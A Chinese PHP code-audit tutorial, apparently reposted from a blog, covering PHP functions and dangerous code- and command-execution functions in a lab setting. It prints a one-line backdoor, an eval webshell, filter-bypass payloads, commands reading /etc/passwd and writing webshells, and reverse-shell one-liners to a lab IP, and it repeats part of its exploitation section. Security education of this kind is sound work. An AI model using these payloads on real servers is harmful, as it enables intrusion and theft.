文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

后端代码审计——PHP函数及PHP危险函数

2023-09-10 18:36

关注

文章目录

函数定义:函数就是可以完成固定功能的语句或语句集合,可以重复调用。

1. 自定义函数

1.1 函数语言结构

function 函数名(形式参数1,形式参数2...){    //函数体    return 返回值;}函数名();

定义一个简单的函数:

// funtion.phpfunction test(){    echo "This is function ".__FUNCTION__;}test();

说明:_FUNCTION_:输出当前函数的名字。

1.2 函数传参

// function.phpfunction add($x, $y){    $sum = $x + $y;    return $sum;}echo add(10, 3);

注意

1.3 函数调用

函数的调用,函数名加上小括号。

1.3.1 函数调用过程

function a(){    echo "This is func ".__FUNCTION__."
"
;}function b(){ echo __FUNCTION__." is starting...
"
; a(); echo __FUNCTION__." is stopped!
"
;}b();

注意

1.4 变量范围

1.4.1 局部变量

局部变量,就是在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.phpfunction get_name(){    $username = "AJEST";    echo "My name is {$username}";}get_name();echo $username;     // Notice: Undefined variable: username

1.4.2 全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php$username = "AJEST";function get_name(){    echo "My name is {$username}";}get_name();     // Notice: Undefined variable: username

注意:PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与JavaScript 和Python 不同。

可以有如下变通方法:

$username = "AJEST";function get_name($username){    echo "My name is {$username}";}get_name($username);
// function.php$username = "AJEST";function get_name(){    global $username;    echo "My name is {$username}";}get_name();

1.5 参数传递

1.5.1 按值传参

默认传参方式。

function add($x, $y){    $sum = $x + $y;    return $sum;}echo add(10, 3);

对形参的操作,不会改变实参的值。

1.5.2 默认参数

可以给形式参数设置默认值,设置方法很简单直接赋值即可。

给函数默认值的时候,全都给。

function add($x = 0, $y = 0){    $sum = $x + $y;    return $sum;}// echo add();          // 0// echo add(10, 3);     // 13echo add(10);           // 10

2. 可变函数

2.1 概述

可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用。

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它

2.2 动态函数

示例

function a(){    echo "This is function a";}function b(){    echo "This is function b";}// a();// b();// $func_name = "b";$func_name  = ($_GET['func_name']);$func_name();                   // a();    // b();    // phpinfo();

2.3 最简单后门

通过可变函数实际上可以调用任意PHP 函数。

$_GET['a']($_GET['b']);

可变函数不能用于,例如echo,print,unset(),isset(),empty(),include,require,eval 等类似的语言结构。

可以使用自己的包装函数来将这些结构用作可变函数。

function e($code){    @eval($code);}$_GET['a']($_GET['b']);//?a=e&b=phpinfo();//?a=e&b=ipconfig;

说明

3. 内置函数

内部(内置)函数,PHP 提供许多现成的函数或者语言结构,可以直接使用。

system();// 执行外部程序,并且显示输出

PHP内置函数大全

PHP 中有一些函数是比较危险的,也是进行PHP 代码审计的时候需要重点关注的内容。

函数或语句或结构含义
eval()将符合PHP 语法规范字符串当作php 代码执行
assert()将字符串当做PHP 代码来执行
preg_replace()对字符串进行正则匹配后替换
call_user_func()用于调用一个回调函数,并将参数作为参数传递给回调函数。
call_user_func_array()用于以数组形式调用一个回调函数,并将参数作为数组的元素传递给回调函数。
array_map()用于将回调函数应用于一个或多个数组的所有元素,并返回一个新的数组,其中包含应用回调函数后的结果。
a ( a( a(b)动态函数
system()能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行
exec()用于执行操作系统的命令,并返回命令的输出或结果。
shell_exec()用于在服务器上执行 shell 命令,并将命令的输出作为字符串返回。
passthru()用于执行命令并将输出直接发送到标准输出(通常是浏览器)
popen()用于执行命令并通过管道将其输入或输出与程序相关联。它创建一个文件指针(类似于打开文件)以用于读取或写入命令的输出或输入。
反引号反引号` 内的字符串,会被解析成OS 命令。

1. eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行。

代码示例:

    // $code = "phpinfo();";    // echo $code;    // var_dump($code);        $code = $_REQUEST['code'];    eval($code);?>

一句话木马原型。
在虚拟机的浏览器中输入?code=phpinfo();页面显示效果:
image-20230819113256374

1.1 绕过限制

$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];//empty() 是一个 PHP 函数,用于检查给定变量是否为空或不存在。在这里,它用于检查用户是否提供了 "code" 参数或该参数的值为空。$code = addslashes($code);//addslashes($code) 这个命令的作用是对变量 $code 中的字符串进行转义处理。//echo $code;eval($code);

如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,可以采用如下方法进行绕过:

ASCII 编码

system('whoami');chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59)?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59));

BASE64 编码

system('whoami');c3lzdGVtKCd3aG9hbWknKTs=?code=eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs));

说明:虽然可以使用函数的方式调用eval(),但是eval() 不是PHP 的函数,是一种语法结构,不能动态调用。在eval() 执行的字符串要以分号结束

其他命令执行的方式:

?code=phpinfo();?code=${phpinfo()};?code=ajest;phpinfo();?code=?>AJEST IS HANDSOME<?php phpinfo();?code=eval(phpinfo());

安全的过滤防止潜在的安全漏洞

在使用 eval() 函数之前,可以通过以下方法对用户输入进行过滤和验证,防止潜在的安全漏洞:

  1. 禁用危险函数:阻止用户代码中调用危险函数或类。可以使用 PHP 的 disable_functions 配置指令在 php.ini 文件中禁用一些敏感的函数,例如 exec()system()shell_exec()passthru() 等可以执行系统命令的函数。
  2. 白名单验证:定义一个允许的代码集合,只接受特定的函数或命令。使用白名单过滤,只允许用户代码中使用预定义的安全函数或命令,并拒绝其他不受支持的函数或命令。
  3. 输入验证:验证用户输入是否符合预期的格式、类型或约束条件。使用函数如 is_numeric()intval()filter_var() 等进行输入验证,确保用户提供的参数符合预期的数据类型或格式要求。
  4. 转义字符:对用户输入的字符串或命令进行转义处理,以避免特殊字符被误认为代码的一部分。可以使用函数如 addslashes()htmlspecialchars() 等对特殊字符进行转义,确保它们不会破坏代码结构或引入安全风险。
  5. 正则表达式:使用正则表达式进行模式匹配和过滤,以确保用户输入只包含合法的命令或函数。通过限制输入的格式和内容,可以降低风险。

2. assert 函数

assert():会将字符串当做PHP代码来执行。

代码示例:

    // $code = "phpinfo();";    // var_dump($code);        $code = $_REQUEST['code'];    assert($code);?>

说明

3. preg_replace 函数

preg_replace() 函数的作用是对字符串进行正则匹配后替换。

代码示例:

    $code = preg_replace('~a~', 'A', 'ajest');    $code = preg_replace('~\[.*\]~', 'A', '[phpinfo()]');      $code = preg_replace('~\[(.*)\]~', 'A', '[phpinfo()]');      $code = preg_replace('~\[(.*)\]~', '\\1', '[phpinfo()]');          $code = preg_replace('~\[(.*)\]~e', '\\1', '[phpinfo()]');          echo $code;?>

说明

4. 回调函数

一个函数调用另外一个函数,PHP 语言中回调函数有很多。

4.1 call_user_func

    $func = 'assert';    $arg = 'phpinfo();';    call_user_func($func, $arg);?>

image-20230819150157396

说明

4.2 array_map

    $func = "assert";    $arg[] = "phpinfo();";    array_map($func, $arg);?>

说明

5. 动态函数

由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

    $code = "phpinfo();";    $func = "assert";    $func($code);   // assert(phpinfo());?>

6. OS 命令执行函数

6.1 system 函数

system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。

代码示例:

    // $cmd = "net user";        $cmd = $_REQUEST['cmd'];    system($cmd);?>

image-20230819151848789

说明

?cmd=whoami?cmd=ipconfig?cmd=uname -a

6.2 exec 函数

exec():用于执行操作系统的命令,并返回命令的输出或结果。

代码示例

    // $cmd = "whoami";        $cmd = $_REQUEST['cmd'];    echo exec($cmd);?>

函数特点

6.3 shell_exec 函数

shell_exec():用于在服务器上执行 shell 命令,并将命令的输出作为字符串返回。

代码示例:

    // $cmd = "whoami";        $cmd = $_REQUEST['cmd'];    echo shell_exec($cmd);?>

说明

6.4 passthru 函数

passthru():用于执行命令并将输出直接发送到标准输出(通常是浏览器)。

代码示例:

    // $cmd = "whoami";        $cmd = $_REQUEST['cmd'];    passthru($cmd);?>

说明

6.5 popen 函数

popen():用于执行命令并通过管道将其输入或输出与程序相关联。它创建一个文件指针(类似于打开文件)以用于读取或写入命令的输出或输入。

代码示例

    $cmd = $_REQUEST['cmd'];    $result = popen($cmd, 'r');    echo fread($result, 1024);    //fread() 是一个 PHP 函数,用于从文件指针中读取指定长度的数据。?>

说明

6.6 反引号

反引号` 内的字符串,会被解析成OS 命令。

代码示例

    $cmd = "whoami";    //$cmd = "ipconfig";    //$cmd = "net user";    echo "
".`$cmd`;?>

1. PHP 代码注入

原理

传入PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)他想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在PHP 代码注入漏洞,也就是RCE。

危害

Web 应用如果存在远程代码执行漏洞(RCE)是一件非常可怕的事情,攻击者通过RCE 继承Web 用户权限,执行任意(PHP)代码。

如果服务器没有正确配置,Web 用户权限比较高的话,就可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

漏洞利用

代码执行漏洞的利用方式有很多种。

获取Shell,中国蚁剑可以直接连接。

shell: http://10.4.7.187/php/functions/eval.phppass: code

获取当前文件的绝对路径。

?code=print(__FILE__);

读文件。

?code=print(file_get_contents('eval.php'));?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));

写文件。

?code=file_put_contents('shell.php','');

2. OS 命令注入漏洞

原理

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

漏洞危害

  • 继承Web 服务器程序权限,去执行系统命令。
  • 继承Web 服务器权限,读写文件。
  • 反弹Shell。
  • 控制整个网站,控制整个服务器。

漏洞利用

OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意系统命令,危害特别大。

查看系统文件(读)。

?cmd=type c:\windows\system32\drivers\etc\hosts?cmd=cat /etc/passwd

显示当前路径。

?cmd=cd

写文件。

?cmd=echo ^<^?php phpinfo();^?^> > shell.php?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php

执行某一个程序。

?cmd=c:\windows\system32\calc.exe

反弹Shell。

#   本机监听nc -lnvp 1234#   Linux 下反弹Shell      ?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash#   Windows 反弹Shell?cmd=nc.exe -e cmd.exe 10.4.7.1 1234

漏洞防御

  • 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
  • preg_replace() 放弃使用e 修饰符。
  • 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert

2\drivers\etc\hosts
?cmd=cat /etc/passwd

显示当前路径。```text?cmd=cd

写文件。

?cmd=echo ^<^?php phpinfo();^?^> > shell.php?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php

执行某一个程序。

?cmd=c:\windows\system32\calc.exe

反弹Shell。

#   本机监听nc -lnvp 1234#   Linux 下反弹Shell      ?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash#   Windows 反弹Shell?cmd=nc.exe -e cmd.exe 10.4.7.1 1234

漏洞防御

  • 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
  • preg_replace() 放弃使用e 修饰符。
  • 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert
  • 参数的值尽量使用引号包裹,并在拼接前调用addslashes() 进行转义。

来源地址:https://blog.csdn.net/weixin_58783105/article/details/132358707

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯